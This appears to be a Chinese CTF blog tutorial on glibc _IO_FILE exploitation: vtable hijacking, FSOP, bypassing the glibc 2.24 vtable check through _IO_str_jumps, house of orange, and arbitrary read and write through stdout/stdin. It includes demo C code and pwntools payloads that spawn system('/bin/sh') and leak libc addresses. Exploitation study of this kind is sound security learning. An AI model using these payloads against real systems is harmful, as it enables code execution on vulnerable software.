初探 _IO_FILE

针对 _IO_FILE 的常见攻击手法:House of orange、任意地址读、任意地址写。

附上 glibc2.23 版本下 64 位的 _IO_FILE 结构体中各成员的偏移,方便查阅。

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

Struct

首先介绍一些相关结构体。

初探 IO,首先最大的疑惑肯定是 _IO_FILE 究竟是个啥?各种结构体和利用链,可以说非常复杂,但其实只是解题的话是非常模板化的。_IO_FILE 的本质就是 stdin、stdout、stderr 三个基本的文件流,分别是标准输入、标准输出、标准错误,这三个文件流位于 libc.so.6 的数据段,它们被 IO_list_all 通过单向链表所链接维护。

就是说 _IO_2_1_stdxxx_ 结构体被存储在 libc 里的数据段中,每个结构体中有 ._chain 成员指向下一个结构体,形成单向链表,另外值得一提的是 elf 文件里 bss 段中的 stdin、stdout、stderr 指针指向的也是这些结构体,作为一个 libc 上的指针,与结构体中的 ._chain 成员存储的指针是一样的。

先是自顶向下地过一遍核心的结构体。

_IO_FILE_plus

_IO_FILE_plus 结构包含了一个完整的 _IO_FILE 结构体和一个十分重要的指针 vtablevtable 指向存放了一系列的函数指针的跳表。

我们可以伪造 vtable 来劫持程序流程,即修改 vtable 指针指向被我们控制了的内存,导致程序在进行文件操作时,能调用到我们伪造的 vtable 表,从而控制程序执行流。glibc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8。之后需要搞清楚要劫持的 IO 函数会调用 vtable 中的哪个函数,比如 printf 会调用 vtable 中的 xsputn,并且 xsputn 的是 vtable 中第八项,那我们就可以写入这个指针进行劫持。

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

_IO_list_all 就是一个_IO_FILE_plus 类型的指针,有点像头指针这种,指向 stdxx 这些 _IO_FILE 结构体。

_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;

如图,很清晰。

1.png

_IO_2_1_stdxxx_ 也是 _IO_FILE_plus 类型的指针。

extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

FILE

其实就是 _IO_FILE FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。存在这个结构是因为在程序执行,遇到 fread、fwrite 等标准函数时,需要文件流指针来指引去调用虚表函数。特殊的,例如执行 fopen 等函数时会进行创建文件流,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。

typedef struct _IO_FILE FILE;

_IO_FILE

结构体源码如下。_fileno 就是文件描述符,可以通过这个字段去泄露数据,假如修改 stdin 的文件描述符为 x,这样原本是从标准输入中读取数据,将会变成从文件描述符为 x 的文件流中读取数据(可以用来读 flag)。

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
    
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;	/* 指向下一个 _IO_FILE 的指针,这样 stderr,stdout,stdin 等所有 _IO_FILE 结构体就会形成一个链表串起来。链表头是 _IO_list_all。*/

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;

  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

pwndbg 里可以看得很清楚。

image-20240328163102865

vtable

vtableIO_jump_t 类型的指针,IO_jump_t 中存放着函数指针,在后面我们会看到在一系列标准 IO 函数中会调用到这些函数指针。

stdin、stdout、stderr 的 vtable 指针都指向同一个虚表 _IO_file_jumps

void * funcs[] = {
   1 size_t, // __dummy
   2 size_t, // __dummy2
   3 _IO_finish_t, // __finish
   4 _IO_overflow_t, // __overflow
   5 _IO_underflow_t, // __underflow
   6 _IO_underflow_t, // __uflow
   7 _IO_pbackfail_t, // __pbackfail
   8 _IO_xsputn_t, // __xsputn  #printf
   9 _IO_xsgetn_t, // __xsgetn
   10 _IO_seekoff_t, // __seekoff
   11 _IO_seekpos_t, // __seekpos
   12 _IO_setbuf_t, // ____setbuf
   13 _IO_sync_t, // __sync
   14 _IO_doallocate_t, // __doallocate
   15 _IO_read_t, // __read
   16 _IO_write_t, // __write
   17 _IO_seek_t, // __seek
   18 _IO_close_t,  // __close
   19 _IO_stat_t, // __stat
   20 _IO_showmanyc_t, // __showmanyc
   21 _IO_imbue_t, // __imbue
};

_IO_jump_t(虚函数表)

在此虚表中,有很多函数都调用了其中的子函数,无论是关闭文件,还是报错输出等等,都有对应的字段,而这些正是可以被攻击者利用的突破口。

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

_IO_MAGIC (flags)

#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

vtable 劫持 / FSOP

2.23

glibc2.24 之前,可以直接改 vtable 指针指向可控的内存(或者说直接控制整个 _IO_FILE 结构体),指向我们伪造的虚表 vtable,在相应位置处写上后门地址。再通过调用相应的IO函数,触发 vtable 函数的调用,即可劫持程序执行流。伪造虚表的简单做法就是,除了前两个填写 0x0 值外,其余都填写后门地址。demo 示例程序参考 wiki 中的示例。

#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_addr,*fake_vtable;

    fp=fopen("123.txt","rw");
    fake_vtable=malloc(0x40);

    vtable_addr=(long long *)((long long)fp+0xd8);     //vtable offset

    vtable_addr[0]=(long long)fake_vtable;

    memcpy(fp,"sh",3);

    fake_vtable[7]=system_ptr; //xsputn

    fwrite("hi",2,1,fp);
}

FSOP(File Stream Oriented Programming)就是一种伪造虚表的技术,FSOP 的核心思想是通过劫持 _IO_list_all 指针来伪造链表和其中的 _IO_FILE 项,在构造了数据后还需要某种方法进行触发,FSOP 选择的触发方法是通过调用执行 _IO_flush_all_lockp() 函数,去刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflow,该函数在以下下面三种情况下被调用:

  1. libc 检测到内存错误时。

  2. 执行 exit 函数时。

  3. main 函数返回时。

当 glibc 检测到内存错误时,会依次调用这样的函数路径:

malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW

要进行 FSOP 需要 bypass 的检测如下。

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
               && _IO_OVERFLOW (fp, EOF) == EOF)
           {
               result = EOF;
          }

fp->_mode <= 0; fp->_IO_write_ptr > fp->_IO_write_base

② 或者直接修改原本的 vtable 里的函数指针。demo 如下。不过位于 libc 数据段的 vtable 一般是没有可写权限的。

#define system_ptr 0x7ffff7a52390;

int main(void)
{
    FILE *fp;
    long long *vtable_ptr;
    fp=fopen("123.txt","rw");
    vtable_ptr=*(long long*)((long long)fp+0xd8);     //get vtable

    memcopy(fp,"sh",3);

    vtable_ptr[7]=system_ptr //xsputn


    fwrite("hi",2,1,fp);
}

2.24

glibc2.24 之后,多了对 vtable 的检测,会去检查 vtable 是否在 __stop___libc_IO_vtables__start___libc_IO_vtables 之间。即 IO_validate_vtable_IO_vtable_check 函数。

glibc2.24 之后,加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。如果 vtable 是非法的,那么会引发 abort。

因为所有的 vtables 被放进了专用的只读的 __libc_IO_vtables 段,使它们在内存中连续。然后在进行任何间接跳转之前,vtable 指针将根据段边界进行检查,去验证 vtable 是否位于__libc_IO_vtable 段中,如果满足条件就正常执行,否则会调用 _IO_vtable_check 做进一步检查,并且在必要时终止进程。
这使得以往使用 vtable 进行利用的技术很难实现。

新的 check 函数如下。

// libio/libioP.h
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    _IO_vtable_check ();//引发报错的函数
  return vtable;
}

// libio/vtables.c
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

简而言之,就是 vtable 必须要满足在 stop_libc_IO_vtablesstart_libc_IO_vtables 之间,而我们若是在 bss 段伪造 vtable 将明显不满足这个要求。

既然无法将 vtable 指针指向 __libc_IO_vtables 以外的地方,那么就在 __libc_IO_vtables 里面找些有用的东西。攻击者找到了 IO_str_jumpsIO_wstr_jumps 这两个结构体(虚表)可以绕过检测,即伪造 vtable 处于 glibc 的 vtable 段中,从而得以绕过检查。

① 利用 IO_str_jumps 中的 _IO_str_finsh 函数,首先定位 _IO_str_jumps 地址。

# libc.address = libc_base
def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr

然后构造结构体 fake_iofilefp_IO_FILE_plus 结构体指针,指向我们伪造的 file,即这里的 chunk_addr,构造如下。

._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,			//fp->_IO_read_ptr = 0x61		//smallbin size
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,		//fp->_IO_read_base = _IO_list_all - 0x10
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x1,		//fp->_IO_write_ptr > fp->_IO_write_base
    _IO_write_end = 0x0,
    _IO_buf_base = binsh_addr,
      ...
      _mode = 0x0, //一般不用特意设置。
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps - 0x8 //fp + 0xd8 -> vtable
  //使得 _IO_str_finish 函数成为了伪造的 vtable 的 _IO_OVERFLOW,_IO_str_finish 偏移为 _IO_str_jumps 中 0x10,而 _IO_OVERFLOW 偏移为 _IO_str_jumps 中 0x18。
  //这样调用 _IO_overflow 时会调用到 _IO_str_finish。
}
fp+0xe0 => 0x0
fp+0xe8 => system_addr / one_gadget //fp->_s._free_buffer = system_addr

house of orange 的参考 payload:

payload = p64(0) + p64(0x60) + p64(0) + p64(libc.sym['_IO_list_all'] - 0x10) #unsorted bin attack
payload += p64(0) + p64(1) + p64(0) + p64(next(libc.search(b'/bin/sh')))
payload = payload.ljust(0xd8, b'\x00') + p64(get_IO_str_jumps() - 8)
payload += p64(0) + p64(libc.sym['system'])

house of orange 的核心在于在没有 free 函数的情况下得到一个 unsorted bin。利用的是,若当前堆的 top chunk 大小不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,从而在没有 free 的情况下获得一个 unsorted bin。

首先修改 top chunk size,需要满足如下条件:

(1)size > MINSIZE(一般为0x10)
(2)size <接下来要申请的空间大小 + MINSIZE
(3)prev inuse 位设置为 1
(4)伪造的 size 需要页对齐,比如说原本的 top chunk size 为 0x20fa1,那么可以构造 0xfa1、0x1fa1……

接下来申请堆块,但要以 brk 拓展,即申请大小要小于 mp_.mmap_threshold,否则会触发 mmap,一般不申请过大的堆块都不会触发 mmap

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

有了 unsorted bin 后,且这个堆块是我们可以利用的 victim,就可以进行 unsorted bin attack,往 _IO_list_all 写入 main_arena+88,然后将 unsorted bin size 修改为 0x60,这样它就能被链入第六条 small bin 链,相当于将 victim 的地址赋值给链表头的 bk 处,即 main_arena+88 + 0x10 + 0x60 + 0x8 的地方,这就很巧妙了,就相当于 _IO_list_all + 0x78,刚好是 _chain 指针的地方指向了 victim,那我们伪造 victim 其实就是在伪造 stdout 的 iofile。

② 利用 IO_str_jumps 中的 _IO_str_overflow 函数。

._chain => chunk_addr
chunk_addr
{
  file = {
    _flags = 0x0,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = -1,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = (bin_sh_addr - 100) / 2,
      ...
      _mode = 0x0, //一般不用特意设置
      _unused2 = '\000' <repeats 19 times>
  },
  vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0
}
fp+0xe0 => system_addr / one_gadget //fp->_s._allocate_buffer

通过以上构造可以使得调用 (fp->_s._free_buffer) (fp->_IO_buf_base)fp->_IO_buf_base 为第一个参数。

劫持 stdout 的参考 payload:

new_size = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0xfbad2084)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0xffffffffffffffff) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0) #lock
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])

③ 利用 _IO_wstr_jumps ,它也是一个符合条件的 vtable,总体上和 _IO_str_jumps 差不多。

// libio/wstrops.c

const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_wstr_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
  JUMP_INIT(xsputn, _IO_wdefault_xsputn),
  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT(seekoff, _IO_wstr_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_wdefault_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

利用函数 _IO_wstr_overflow

_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
  int flush_only = c == WEOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : WEOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
      fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
    }
  pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))    // 条件 #define _IO_wblen(fp) ((fp)->_wide_data->_IO_buf_end - (fp)->_wide_data->_IO_buf_base)
    {
      if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
	return WEOF;
      else
	{
	  wchar_t *new_buf;
	  wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
	  size_t old_wblen = _IO_wblen (fp);
	  _IO_size_t new_size = 2 * old_wblen + 100;              // 使 new_size * sizeof(wchar_t) 为 "/bin/sh" 的地址

	  if (__glibc_unlikely (new_size < old_wblen)
	      || __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
	    return EOF;

	  new_buf
	    = (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size
									* sizeof (wchar_t));                      // 在这个相对地址放上 system 的地址
    [...]

利用函数 _IO_wstr_finish

void
_IO_wstr_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))    // 条件
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);     // 在这个相对地址放上 system 的地址
  fp->_wide_data->_IO_buf_base = NULL;

  _IO_wdefault_finish (fp, 0);
}

2.28

2.28 及以后失效,因为在此之后使用操作堆的 malloc 和 free 替换了原来在 _IO_str_fields 里的 _allocate_buffer_free_buffer。由于不再使用偏移,就不能再利用 __libc_IO_vtables 上的 vtable 来绕过检查。

file 构造

stdin 只能输入数据到缓冲区,因此只能进行写,而 stdout 会将数据拷贝至输出缓冲区,并将输出缓冲区中的数据输出出来,所以如果可控 stdout 结构体,通过构造可实现利用其进行任意地址读以及任意地址写。

这让我们不禁产生了疑问:程序运行过程中是怎么被 io 的结构体所影响的,这些结构体在什么时候被利用到了呢?

“泄露的本质就是利用它原来的输出,只是在利用任意地址写之后改写了一些参数,让它原本的输出呈现出不一样的结果罢了!”

涉及文件流的部分函数

puts/printf

让我们看看程序执行 puts 函数时的完整调用链,在源码中实现的函数是 _IO_puts,然后 _IO_OVERFLOW 是造成泄露的重点,最后会调用到系统接口 write 函数。

puts -> IO_puts -> _IO_OVERFLOW ->_IO_new_file_xsputn -> _IO_new_file_overflow -> _IO_do_write -> _IO_new_do_write -> new_do_write -> _IO_SYSWRITE

printf 的调用栈回溯如下,同样是通过 _IO_file_xsputn 实现。

vfprintf+11
_IO_file_xsputn
_IO_file_overflow
funlockfile
_IO_file_write
write

fread

fread 是标准 IO 库函数,作用是从文件流中读数据,函数原型如下。会调用到 _IO_FILE_plus.vtable 中的 _IO_XSGETN

size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;

buffer:指向存放读取数据的缓冲区。
size:指定每个记录的长度。
count: 指定记录的个数。
stream:目标文件流。
返回值:返回读取到数据缓冲区中的记录个数。

fwrite

fwrite 同样是标准 IO 库函数,作用是向文件流写入数据,函数原型如下。会调用到 _IO_FILE_plus.vtable 中的 _IO_XSPUTN_IO_OVERFLOW

size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);

buffer:一个指针,对 fwrite 来说,指向要写入数据的地址。
size:要写入内容的单字节数。
count:要进行写入 size 字节的数据项的个数。
stream:目标文件指针。
返回值:实际写入的数据项个数 count。

fopen

fopen 在标准 IO 库中用于打开文件,函数原型如下。

FILE *fopen(char *filename, *type);

filename:目标文件的路径。
type:打开方式的类型。
返回值:返回一个文件指针。

fopen 的操作:先是使用 malloc 分配 FILE 结构,设置 FILE 结构的 vtable,然后初始化分配的 FILE 结构,并将初始化的 FILE 结构链入 FILE 结构链表中,最后调用系统调用打开文件。所以它是在分配空间,建立 FILE 结构体,并未调用 vtable 中的函数。

fclose

fclose 是标准 IO 库中用于关闭已打开文件的函数,函数原型如下。会调用到 _IO_FILE_plus.vtable 中的 _IO_FINISH

int fclose(FILE *stream)

关闭一个文件流,使用 fclose 就可以把缓冲区内最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区。

相关字段

列举下在后面将提及到的相关字段。

字段名 描述
_IO_buf_base 输入输出缓冲区基地址
_IO_buf_end 输入输出缓冲区结束地址
_IO_write_base 输出缓冲区基地址
_IO_write_ptr 输出缓冲区使用到的地址
_IO_write_end 输出缓冲区结束地址
write_start/write_end 目标要写(攻击)的地址的开始/结束
read_start/read_end 目标要读(泄露)的地址的开始/结束

stdin 实现任意写

构造 stdin 的 iofile 需要满足如下条件:

  1. _IO_read_end = _IO_read_ptr
  2. _flag &~ _IO_NO_READS,即 _flag &~ 0x4
  3. `_fileno = 0。
  4. _IO_buf_base = write_start_IO_buf_end = write_end;且 _IO_buf_end-_IO_buf_base 需要大于调用 fread 要读的数据长度。

stdout 实现任意读

构造 stdout 的 iofile 需要满足如下条件:

  1. _flag &~ _IO_NO_WRITES,即 _flag &~ 0x8
  2. _flag & _IO_CURRENTLY_PUTTING,即_flag | 0x800
  3. _fileno = 1。
  4. _IO_write_base = read_start_IO_write_ptr = read_end
  5. _IO_read_end = _IO_write_base,或 _flag & _IO_IS_APPENDING,即 _flag | 0x1000
  6. _IO_write_end = _IO_write_ptr (非必须)。

① 可以构造 FILE 结构体如下,以此来泄露 read 的地址。

可以参考下列条件来构造 payload。

io_stdout_struct=IO_FILE_plus()
flag=0
flag&=~8
flag|=0x800
flag|=0x8000
io_stdout_struct._flags=flag
io_stdout_struct._IO_write_base=pro_base+elf.got['read']
io_stdout_struct._IO_read_end=io_stdout_struct._IO_write_base
io_stdout_struct._IO_write_ptr=pro_base+elf.got['read']+8
io_stdout_struct._fileno=1

glibc2.23 下可以劫持 IO_2_1_stdout 结构体来达到泄 libc 的目的,利用方式是去构造 file。因为在执行 puts 函数的 IO 流在执行到目标函数 _IO_do_write 时,会调用系统调用 write 输出输出缓冲区,传入 _IO_do_write 函数的参数为:stdout 结构体、 _IO_write_base(输出缓冲区起始地址)和 size(由 _IO_write_end - _IO_write_base计算得来)。

如果我们事先布置好 stdout_IO_write_base,那么再去利用 _IO_do_write 函数时,即可打印出部分内存数据,那片内存就包含着 libc 地址。但是要想利用 _IO_do_write 函数的话是需要绕过 _IO_new_file_overflow 函数的检查的,这就需要去构造 flags

总结来说,需要去构造的成员如下。

  1. flags
  2. _IO_write_base 的值修改得稍微小一点,就能输出与 libc 挨得很近的值。至于其上面几个关于 read 的成员,覆盖成0就好。

payload1

payload = p64(0xfbad3887)  
payload += p64(0)*3
payload += '\x88'

payload2

payload = p64(0xfbad1800)  
payload += p64(0)*3
payload += '\x00'

stdout 实现任意写

任意写的利用原理为:构造输出缓冲区为目标地址,当输出的数据可控时,会将数据拷贝至输出缓冲区,即实现了将可控数据拷贝至我们想要写的内存地址。

想要实现上述功能,查看 fwrite 源码的实现。

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{ 
//...
    // 判断输出缓冲区还有多少空间
    else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  // 如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
  if (count > 0)
    {
    //...
      memcpy (f->_IO_write_ptr, s, count);

任意写的实现在于,当 IO 缓冲区没有满时,会先将要输出的数据复制到缓冲区中,可通过这一点来实现任意地址写的利用。

构造 stdout 的 iofile 需要满足如下条件:

  1. _IO_write_ptr = write_start
  2. _IO_write_end = write_end

① 可以构造 FILE 结构体如下,以此来写__malloc_hook

io_stdout_struct=IO_FILE_plus()
flag=0
flag&=~8
flag|=0x8000
io_stdout_write=IO_FILE_plus()
io_stdout_write._flags=flag
io_stdout_write._IO_write_ptr=malloc_hook
io_stdout_write._IO_write_end=malloc_hook+8

参考

记录几篇感觉写得挺好的博客,受益匪浅。

[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com

IO_FILE相关利用 | Alex's blog~ (la13x.github.io)

新手向——IO_file全流程浅析 - 知乎 (zhihu.com)

IO FILE 之任意读写 - 先知社区 (aliyun.com)

pwn——IO_FILE学习(一) - hawkJW - 博客园 (cnblogs.com)

Pwn _IO_FILE | SkYe231 Blog (mrskye.cn)

posted @ 2024-04-05 13:31  ve1kcon  阅读(137)  评论(1编辑  收藏  举报